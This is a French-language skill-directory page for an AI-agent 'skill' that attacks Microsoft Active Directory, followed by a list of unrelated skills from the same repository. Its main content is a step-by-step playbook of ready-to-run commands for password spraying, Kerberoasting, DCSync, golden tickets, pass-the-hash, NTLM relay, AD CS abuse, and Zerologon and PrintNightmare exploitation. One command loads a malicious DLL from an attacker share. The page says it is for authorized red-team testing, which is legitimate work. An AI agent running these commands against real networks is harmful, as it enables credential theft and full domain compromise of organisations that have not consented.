Communitygithub.com

SamuelChien/mega-skills-collection

Fournit des techniques complètes pour attaquer les environnements Microsoft Active Directory. Couvre la reconnaissance, la récolte d'identifiants, les attaques Kerberos, les mouvements latéraux, l'élévation de privilèges et la domination du domaine pour les opérations d'équipe rouge et les tests de pénétration.

Qu'est-ce que mega-skills-collection ?

Ce skill est un guide exhaustif pour les tests de pénétration et les opérations d'équipe rouge ciblant Active Directory. Il couvre l'ensemble du cycle d'attaque : de la reconnaissance initiale (avec BloodHound et PowerView) à la domination complète du domaine via des techniques avancées comme le Kerberoasting, l'AS-REP Roasting, le DCSync, les attaques de tickets Kerberos (Golden/Silver Ticket), le Pass-the-Hash, le relais NTLM, et l'exploitation de vulnérabilités critiques (Zerologon, PrintNightmare, AD CS). Il est conçu pour les environnements Kali Linux et Windows d'attaque et nécessite des outils spécialisés comme Impacket, Mimikatz, Rubeus et CrackMapExec. Le skill est utile pour les auditeurs de sécurité, les équipes rouges et les défenseurs souhaitant valider la robustesse de leur infrastructure AD. Il fournit des workflows étape par étape avec des commandes prêtes à l'emploi, des vérifications préalables (synchronisation d'horloge Kerberos), des tableaux de référence rapide et des conseils de dépannage. Il met en garde contre les pratiques dangereuses (verrouillage de comptes, modifications non autorisées) et insiste sur la documentation et l'autorisation explicite pour toute opération.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/SamuelChien/mega-skills-collection/tree/HEAD/active-directory-attacks

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

UTILISATION AUTORISÉE UNIQUEMENT : Utilisez cette compétence uniquement pour des évaluations de sécurité autorisées, des validations défensives ou des environnements éducatifs contrôlés.

Attaques Active Directory

Objectif

Fournir des techniques complètes pour attaquer les environnements Microsoft Active Directory. Couvre la reconnaissance, la récolte d'identifiants, les attaques Kerberos, le mouvement latéral, l'élévation de privilèges et la domination du domaine pour les opérations d'équipe rouge et les tests de pénétration.

Entrées/Prérequis

  • Plateforme d'attaque Kali Linux ou Windows
  • Identifiants d'utilisateur de domaine (pour la plupart des attaques)
  • Accès réseau au contrôleur de domaine
  • Outils : Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Sorties/Livrables

  • Données d'énumération du domaine
  • Identifiants et hachages extraits
  • Tickets Kerberos pour l'usurpation d'identité
  • Accès administrateur de domaine
  • Mécanismes d'accès persistants

Outils Essentiels

OutilObjectif
BloodHoundVisualisation des chemins d'attaque AD
ImpacketOutils d'attaque AD en Python
MimikatzExtraction d'identifiants
RubeusAttaques Kerberos
CrackMapExecExploitation réseau
PowerViewÉnumération AD
ResponderEmpoisonnement LLMNR/NBT-NS

Flux de travail principal

Étape 1 : Synchronisation d'horloge Kerberos

Kerberos nécessite une synchronisation d'horloge (±5 minutes) :

# Détecter le décalage d'horloge
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Corriger l'horloge sur Linux
sudo date -s "14 AVR 2024 18:25:16"

# Corriger l'horloge sur Windows
net time /domain /set

# Fausser l'horloge sans changer l'heure système
faketime -f '+8h' <commande>

Étape 2 : Reconnaissance AD avec BloodHound

# Démarrer BloodHound
neo4j console
bloodhound --no-sandbox

# Collecter des données avec SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Collecteur Python (depuis Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Étape 3 : Énumération PowerView

# Obtenir les informations du domaine
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Énumérer les utilisateurs
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Énumérer les groupes
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Trouver l'accès administrateur local
Find-LocalAdminAccess -Verbose

# Recherche d'utilisateurs
Invoke-UserHunter
Invoke-UserHunter -Stealth

Attaques d'identifiants

Pulvérisation de mots de passe

# Avec kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Avec CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

Extraire les tickets TGS des comptes de service et les casser hors ligne :

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Casser avec hashcat
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Cibler les comptes avec "Ne pas exiger la pré-authentification Kerberos" :

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Casser avec hashcat
hashcat -m 18200 hashes.txt rockyou.txt

Attaque DCSync

Extraire les identifiants directement du contrôleur de domaine (nécessite les droits Répliquer les modifications de l'annuaire) :

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Attaques de tickets Kerberos

Pass-the-Ticket (Golden Ticket)

Forger un TGT avec le hachage krbtgt pour n'importe quel utilisateur :

# Obtenir le hachage krbtgt via DCSync d'abord
# Mimikatz - Créer un Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

Silver Ticket

Forger un TGS pour un service spécifique :

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

Convertir un hachage NTLM en ticket Kerberos :

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

Attaques par relais NTLM

Responder + ntlmrelayx

# Démarrer Responder (désactiver SMB/HTTP pour le relais)
responder -I eth0 -wrf

# Démarrer le relais
ntlmrelayx.py -tf targets.txt -smb2support

# Relais LDAP pour attaque de délégation
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

Vérification de la signature SMB

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

Attaques des services de certificats (AD CS)

ESC1 - Modèles mal configurés

# Trouver les modèles vulnérables
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# Exploiter ESC1
certipy req -u [email protected] -p password -ca NOM-CA -target dc.domain.local -template ModeleVulnerable -upn [email protected]

# S'authentifier avec le certificat
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Relais d'inscription Web

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

CVE critiques

ZeroLogon (CVE-2020-1472)

# Vérifier la vulnérabilité
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploiter
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extraire les hachages
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# Restaurer le mot de passe (important !)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass MOTDEPASSEHEX

PrintNightmare (CVE-2021-1675)

# Vérifier la vulnérabilité
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploiter (nécessite l'hébergement d'une DLL malveillante)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attaquant\partage\evil.dll'

Usurpation de samAccountName (CVE-2021-42278/42287)

# Exploitation automatisée
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

Référence rapide

AttaqueOutilCommande
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
Pass-the-Hashpsexecpsexec.py domain/user@target -hashes :HASH
Golden TicketMimikatzkerberos::golden /user:Admin /krbtgt:HASH
Pulvérisationkerbrutekerbrute passwordspray -d domain users.txt Pass

Contraintes

Doit :

  • Synchroniser l'heure avec le contrôleur de domaine avant les attaques Kerberos
  • Avoir des identifiants de domaine valides pour la plupart des attaques
  • Documenter tous les comptes compromis

Ne doit pas :

  • Verrouiller les comptes par une pulvérisation excessive de mots de passe
  • Modifier les objets AD de production sans approbation
  • Laisser des Golden Tickets sans documentation

Devrait :

  • Exécuter BloodHound pour la découverte des chemins d'attaque
  • Vérifier la signature SMB avant les attaques par relais
  • Vérifier les niveaux de correctifs pour l'exploitation des CVE

Exemples

Exemple 1 : Compromission de domaine via Kerberoasting

# 1. Trouver les comptes de service avec des SPN
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Demander des tickets TGS
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Casser les tickets
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Utiliser le compte de service cassé
psexec.py domain.local/svc_admin:[email protected]

Exemple 2 : Relais NTLM vers LDAP

# 1. Démarrer le relais ciblant LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Déclencher l'authentification (par ex., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Utiliser le compte machine créé pour l'attaque RBCD

Dépannage

ProblèmeSolution
Décalage d'horloge trop importantSynchroniser l'heure avec le contrôleur de domaine ou utiliser faketime
Kerberoasting renvoie videAucun compte de service avec des SPN
Accès DCSync refuséNécessite les droits Répliquer les modifications de l'annuaire
Relais NTLM échoueVérifier la signature SMB, essayer la cible LDAP
BloodHound videVérifier que le collecteur a été exécuté avec les bons identifiants

Ressources supplémentaires

Pour les techniques avancées incluant les attaques par délégation, l'abus de GPO, les attaques RODC, le déploiement SCCM/WSUS, l'exploitation ADCS, les relations d'approbation et l'intégration Linux AD, voir references/advanced-attacks.md.

Quand utiliser

Cette compétence est applicable pour exécuter le flux de travail ou les actions décrits dans l'aperçu.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

SamuelChien/mega-skills-collection

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

SamuelChien/mega-skills-collection

Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.

SamuelChien/mega-skills-collection

Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.

SamuelChien/mega-skills-collection

Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.

SamuelChien/mega-skills-collection

2D game development principles. Sprites, tilemaps, physics, camera.

SamuelChien/mega-skills-collection

3D game development principles. Rendering, shaders, physics, cameras.

SamuelChien/mega-skills-collection

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences.

SamuelChien/mega-skills-collection

Accessibility audit skill for scanning, fixing, and verifying WCAG 2.2 Level A and AA compliance across React, Next.js, Vue, Angular, Svelte, and plain HTML codebases. Use when auditing accessibility, fixing a11y violations, checking color contrast, generating compliance reports, or integrating accessibility checks into CI/CD pipelines.

SamuelChien/mega-skills-collection

Ab Test Analyzer - Auto-activating skill for Data Analytics. Triggers on: ab test analyzer, ab test analyzer Part of the Data Analytics skill category.

SamuelChien/mega-skills-collection

A B Test Config Creator - Auto-activating skill for ML Deployment. Triggers on: a b test config creator, a b test config creator Part of the ML Deployment skill category.

SamuelChien/mega-skills-collection

When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "conversion experiment," "statistical significance," or "test this." For tracking implementation, see analytics-tracking.

SamuelChien/mega-skills-collection

Acceptance Criteria Creator - Auto-activating skill for Enterprise Workflows. Triggers on: acceptance criteria creator, acceptance criteria creator Part of the Enterprise Workflows skill category.

SamuelChien/mega-skills-collection

Use when a coding task should be driven end-to-end from issue intake through implementation, review, deployment, and acceptance verification with minimal human re-intervention.

SamuelChien/mega-skills-collection

Accessibility Audit Runner - Auto-activating skill for Frontend Development. Triggers on: accessibility audit runner, accessibility audit runner Part of the Frontend Development skill category.

SamuelChien/mega-skills-collection

You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.

SamuelChien/mega-skills-collection

Web accessibility patterns for WCAG 2.2 compliance including ARIA, keyboard navigation, screen readers, and testing

SamuelChien/mega-skills-collection

Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed, or change policy for the Discord channel.

SamuelChien/mega-skills-collection

Create unified specification packages across Business, Development, and Design teams. Staged elaboration (L0 Vision → L1 Requirements → L2 Team Detail → L3 Acceptance Criteria) to build shared understanding. Does not write code.

SamuelChien/mega-skills-collection

Research a company or person and get actionable sales intel. Works standalone with web search, supercharged when you connect enrichment tools or your CRM. Trigger with "research [company]", "look up [person]", "intel on [prospect]", "who is [name] at [company]", or "tell me about [company]".

SamuelChien/mega-skills-collection

Validate messaging consistency across website, GitHub repos, and local documentation generating read-only discrepancy reports. Use when checking content alignment or finding mixed messaging. Trigger with phrases like "check consistency", "validate documentation", or "audit messaging".

Skills associés